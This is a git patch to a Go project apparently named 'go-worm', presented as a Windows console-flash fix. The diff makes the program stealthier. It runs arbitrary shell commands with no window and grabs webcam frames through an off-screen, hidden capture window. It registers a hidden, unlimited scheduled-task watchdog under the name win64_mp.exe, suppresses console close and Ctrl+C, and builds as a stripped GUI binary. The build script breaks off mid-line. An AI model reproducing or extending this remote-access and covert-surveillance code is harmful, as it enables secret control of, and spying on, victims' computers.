From cc2b1d049b00eeac21e781be8c10d22f8394338d Mon Sep 17 00:00:00 2001 From: Daniel Legt Date: Tue, 1 Sep 2026 23:25:06 +0300 Subject: [PATCH] fix(windows): prevent console window flash - Centralize hidden-process setup per OS - Hide console early to avoid startup flash - Keep capture window off-screen and hidden - Enable unified scheduler for watchdog task - Force GUI subsystem in build script --- lib/command/command.go | 11 +++-------- lib/helpers/hide_stub.go | 9 +++++++++ lib/helpers/hide_windows.go | 28 ++++++++++++++++++++++++++++ lib/instance/console_stub.go | 2 ++ lib/instance/console_windows.go | 15 +++++++++++++++ lib/instance/launch_windows.go | 10 ++-------- lib/startup/taskxml.go | 1 + lib/startup/taskxml_test.go | 7 +++++-- lib/startup/watchdog.go | 6 ++---- lib/webcam/webcam_windows.go | 28 ++++++++++++++++------------ main.go | 3 +-- scripts/build.sh | 19 +++++++++++++++++++ 12 files changed, 103 insertions(+), 36 deletions(-) create mode 100644 lib/helpers/hide_stub.go create mode 100644 lib/helpers/hide_windows.go diff --git a/lib/command/command.go b/lib/command/command.go index c17cdb2..a92fcb8 100644 --- a/lib/command/command.go +++ b/lib/command/command.go @@ -5,12 +5,10 @@ import ( "context" "errors" "os/exec" - "syscall" "time" - "golang.org/x/sys/windows" - "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/models" ) @@ -34,11 +32,8 @@ func ResolveTimeout(seconds int) (time.Duration, error) { } func Run(ctx context.Context, cmdline string) (models.ExecResponse, error) { - cmd := exec.CommandContext(ctx, "cmd.exe", "/C", cmdline) - cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: windows.CREATE_NO_WINDOW, - } + cmd := exec.CommandContext(ctx, "cmd.exe", "/D", "/C", cmdline) + cmd.SysProcAttr = helpers.HiddenSysProcAttr() var stdout, stderr bytes.Buffer cmd.Stdout = &stdout cmd.Stderr = &stderr diff --git a/lib/helpers/hide_stub.go b/lib/helpers/hide_stub.go new file mode 100644 index 0000000..e96d5ba --- /dev/null +++ b/lib/helpers/hide_stub.go @@ -0,0 +1,9 @@ +//go:build !windows + +package helpers + +import "syscall" + +func HiddenSysProcAttr() *syscall.SysProcAttr { return nil } + +func HiddenDetachedSysProcAttr() *syscall.SysProcAttr { return nil } diff --git a/lib/helpers/hide_windows.go b/lib/helpers/hide_windows.go new file mode 100644 index 0000000..1faac25 --- /dev/null +++ b/lib/helpers/hide_windows.go @@ -0,0 +1,28 @@ +//go:build windows + +package helpers + +import ( + "syscall" + + "golang.org/x/sys/windows" +) + +// HiddenSysProcAttr starts a process with no console window. +func HiddenSysProcAttr() *syscall.SysProcAttr { + return &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW, + } +} + +// HiddenDetachedSysProcAttr is HiddenSysProcAttr plus a new process group so +// the child survives after the parent exits (install relaunch, updates). +func HiddenDetachedSysProcAttr() *syscall.SysProcAttr { + return &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW | + windows.CREATE_NEW_PROCESS_GROUP | + windows.DETACHED_PROCESS, + } +} diff --git a/lib/instance/console_stub.go b/lib/instance/console_stub.go index fa61e0d..5181941 100644 --- a/lib/instance/console_stub.go +++ b/lib/instance/console_stub.go @@ -7,3 +7,5 @@ func HideConsole() {} func ShowConsole() {} func ProtectFromConsoleClose() {} + +func AllowConsoleKill() {} diff --git a/lib/instance/console_windows.go b/lib/instance/console_windows.go index 3810575..b12fdc8 100644 --- a/lib/instance/console_windows.go +++ b/lib/instance/console_windows.go @@ -26,6 +26,13 @@ const ( ctrlCloseEvent = 2 ) +func init() { + // Must run before main: a console-subsystem build otherwise flashes a + // terminal during flag.Parse, which looks like a broken automation step. + ProtectFromConsoleClose() + HideConsole() +} + // HideConsole hides any console window and detaches from it. func HideConsole() { hwnd, _, _ := procGetConsoleWindow.Call() @@ -56,6 +63,14 @@ func ProtectFromConsoleClose() { _, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 1) } +// AllowConsoleKill restores default Ctrl+C handling for -foreground. +func AllowConsoleKill() { + if consoleCtrlCallback == 0 { + return + } + _, _, _ = procSetConsoleCtrl.Call(consoleCtrlCallback, 0) +} + func consoleCtrlHandler(ctrlType uintptr) uintptr { switch uint32(ctrlType) { case ctrlCEvent, ctrlBreakEvent, ctrlCloseEvent: diff --git a/lib/instance/launch_windows.go b/lib/instance/launch_windows.go index 38a232f..73969f9 100644 --- a/lib/instance/launch_windows.go +++ b/lib/instance/launch_windows.go @@ -5,9 +5,8 @@ package instance import ( "os" "os/exec" - "syscall" - "golang.org/x/sys/windows" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) // Launch starts exe detached with no visible window. DETACHED_PROCESS keeps @@ -23,12 +22,7 @@ func Launch(exe string, args []string) error { cmd.Stdin = nul cmd.Stdout = nul cmd.Stderr = nul - cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: windows.CREATE_NO_WINDOW | - windows.CREATE_NEW_PROCESS_GROUP | - windows.DETACHED_PROCESS, - } + cmd.SysProcAttr = helpers.HiddenDetachedSysProcAttr() if err := cmd.Start(); err != nil { return err } diff --git a/lib/startup/taskxml.go b/lib/startup/taskxml.go index 67a8a0f..a9706b6 100644 --- a/lib/startup/taskxml.go +++ b/lib/startup/taskxml.go @@ -31,6 +31,7 @@ func watchdogTaskXML(exe string) string { b.WriteString(`false`) b.WriteString(`false`) b.WriteString(`true`) + b.WriteString(`true`) b.WriteString(`false`) b.WriteString(`true`) b.WriteString(`true`) diff --git a/lib/startup/taskxml_test.go b/lib/startup/taskxml_test.go index 3cc0fef..0bab7e9 100644 --- a/lib/startup/taskxml_test.go +++ b/lib/startup/taskxml_test.go @@ -22,8 +22,11 @@ func TestWatchdogTaskXMLSeparatesCommandAndArgs(t *testing.T) { if !strings.Contains(xml, "C:\\Users\\John Doe\\AppData\\Roaming\\win64_mp") { t.Fatalf("WorkingDirectory missing:\n%s", xml) } - if !strings.Contains(xml, "PT0S") { - t.Fatalf("execution time limit must be unlimited so -ensure can stay as the agent") + if !strings.Contains(xml, "true") { + t.Fatalf("task must be hidden:\n%s", xml) + } + if !strings.Contains(xml, "true") { + t.Fatalf("unified scheduler missing:\n%s", xml) } } diff --git a/lib/startup/watchdog.go b/lib/startup/watchdog.go index d961978..b9a46c7 100644 --- a/lib/startup/watchdog.go +++ b/lib/startup/watchdog.go @@ -7,12 +7,10 @@ import ( "os" "os/exec" "strings" - "syscall" "unicode/utf16" - "golang.org/x/sys/windows" - "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) func enableWatchdog() error { @@ -45,7 +43,7 @@ func disableWatchdog() error { func runSchtasks(args ...string) error { cmd := exec.Command("schtasks", args...) - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW} + cmd.SysProcAttr = helpers.HiddenSysProcAttr() out, err := cmd.CombinedOutput() if err != nil { msg := strings.TrimSpace(string(out)) diff --git a/lib/webcam/webcam_windows.go b/lib/webcam/webcam_windows.go index 2f99508..220a799 100644 --- a/lib/webcam/webcam_windows.go +++ b/lib/webcam/webcam_windows.go @@ -25,21 +25,23 @@ var ( procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW") procSendMessageW = user32.NewProc("SendMessageW") procDestroyWindow = user32.NewProc("DestroyWindow") + procShowWindow = user32.NewProc("ShowWindow") captureMu sync.Mutex ) const ( - wmUser = 0x0400 - wmCapStart = wmUser - wmCapUnicodeStart = wmUser + 100 - wmCapDriverConnect = wmCapStart + 10 + wmUser = 0x0400 + wmCapStart = wmUser + wmCapUnicodeStart = wmUser + 100 + wmCapDriverConnect = wmCapStart + 10 wmCapDriverDisconnect = wmCapStart + 11 - wmCapFileSaveDIBW = wmCapUnicodeStart + 25 - wmCapGrabFrame = wmCapStart + 60 - wmCapSetPreview = wmCapStart + 50 - wmCapSetScale = wmCapStart + 53 - wsPopup = 0x80000000 - maxDrivers = 10 + wmCapFileSaveDIBW = wmCapUnicodeStart + 25 + wmCapGrabFrame = wmCapStart + 60 + wmCapSetPreview = wmCapStart + 50 + wmCapSetScale = wmCapStart + 53 + wsPopup = 0x80000000 + swHide = 0 + maxDrivers = 10 ) type Device struct { @@ -99,15 +101,17 @@ func Capture(index int, format string, quality int) (models.CapturedImage, error if err != nil { return models.CapturedImage{}, err } + off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears hwnd, _, callErr := procCapCreateCaptureWindowW.Call( uintptr(unsafe.Pointer(title)), - wsPopup, - 0, 0, 320, 240, + wsPopup, // no WS_VISIBLE + off, off, 320, 240, 0, 0, ) if hwnd == 0 { return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr) } + _, _, _ = procShowWindow.Call(hwnd, uintptr(swHide)) defer procDestroyWindow.Call(hwnd) ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0) diff --git a/main.go b/main.go index a92fc18..5eea908 100644 --- a/main.go +++ b/main.go @@ -42,10 +42,9 @@ func main() { flag.Parse() if *foreground { + instance.AllowConsoleKill() instance.ShowConsole() } else { - instance.ProtectFromConsoleClose() - instance.HideConsole() _ = helpers.AttachLogFile() } diff --git a/scripts/build.sh b/scripts/build.sh index e4528c3..16ffdc7 100755 --- a/scripts/build.sh +++ b/scripts/build.sh @@ -5,4 +5,23 @@ cd "$(dirname "$0")/.." out="${1:-win64_mp.exe}" GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui" -o "$out" . +# Belt-and-suspenders: PE subsystem WINDOWS (2) even if ldflags were dropped. +python3 - "$out" <<'PY' +import struct, sys +path = sys.argv[1] +with open(path, "r+b") as f: + f.seek(0x3C) + pe = struct.unpack("